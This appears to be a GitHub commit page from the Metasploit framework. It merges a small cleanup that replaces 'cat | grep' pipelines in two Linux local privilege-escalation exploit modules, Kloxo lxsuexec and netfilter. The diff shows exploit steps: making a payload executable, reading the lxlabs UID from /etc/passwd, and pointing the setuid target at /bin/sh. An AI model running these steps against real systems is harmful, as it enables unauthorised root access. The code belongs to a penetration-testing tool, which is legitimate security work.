Skip to content

Commit 988471b

Browse files
committed
Land rapid7#7372, useless use of cat fix
Obligatory: modules/exploits/linux/local/kloxo_lxsuexec.rb.
2 parents 21ec491 + 3033c16 commit 988471b

File tree

2 files changed

+6
-4
lines changed

2 files changed

+6
-4
lines changed

modules/exploits/linux/local/kloxo_lxsuexec.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,8 @@
1010

1111
class MetasploitModule < Msf::Exploit::Local
1212

13+
Rank = ExcellentRanking
14+
1315
include Msf::Exploit::EXE
1416
include Msf::Post::File
1517
include Msf::Exploit::FileDropper
@@ -93,7 +95,7 @@ def exploit
9395
# Profit
9496
print_status("Exploiting...")
9597
cmd_exec("chmod +x #{payload_path}")
96-
cmd_exec("LXLABS=`cat /etc/passwd | grep lxlabs | cut -d: -f3`")
98+
cmd_exec("LXLABS=`grep lxlabs /etc/passwd | cut -d: -f3`")
9799
cmd_exec("export MUID=$LXLABS")
98100
cmd_exec("export GID=$LXLABS")
99101
cmd_exec("export TARGET=/bin/sh")

modules/exploits/linux/local/netfilter_priv_esc.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -62,20 +62,20 @@ def initialize(info = {})
6262

6363
def check
6464
def iptables_loaded?()
65-
# user@ubuntu:~$ cat /proc/modules | grep ip_tables
65+
# user@ubuntu:~$ grep ip_tables /proc/modules
6666
# ip_tables 28672 1 iptable_filter, Live 0x0000000000000000
6767
# x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000
6868
vprint_status('Checking if ip_tables is loaded in kernel')
6969
if target.name == "Ubuntu"
70-
iptables = cmd_exec('cat /proc/modules | grep ip_tables')
70+
iptables = read_file('/proc/modules')
7171
if iptables.include?('ip_tables')
7272
vprint_good('ip_tables.ko is loaded')
7373
else
7474
print_error('ip_tables.ko is not loaded. root needs to run iptables -L or similar command')
7575
end
7676
return iptables.include?('ip_tables')
7777
elsif target.name == "Fedora"
78-
iptables = cmd_exec('cat /proc/modules | grep iptable_raw')
78+
iptables = read_file('/proc/modules')
7979
if iptables.include?('iptable_raw')
8080
vprint_good('iptable_raw is loaded')
8181
else

0 commit comments

Comments
 (0)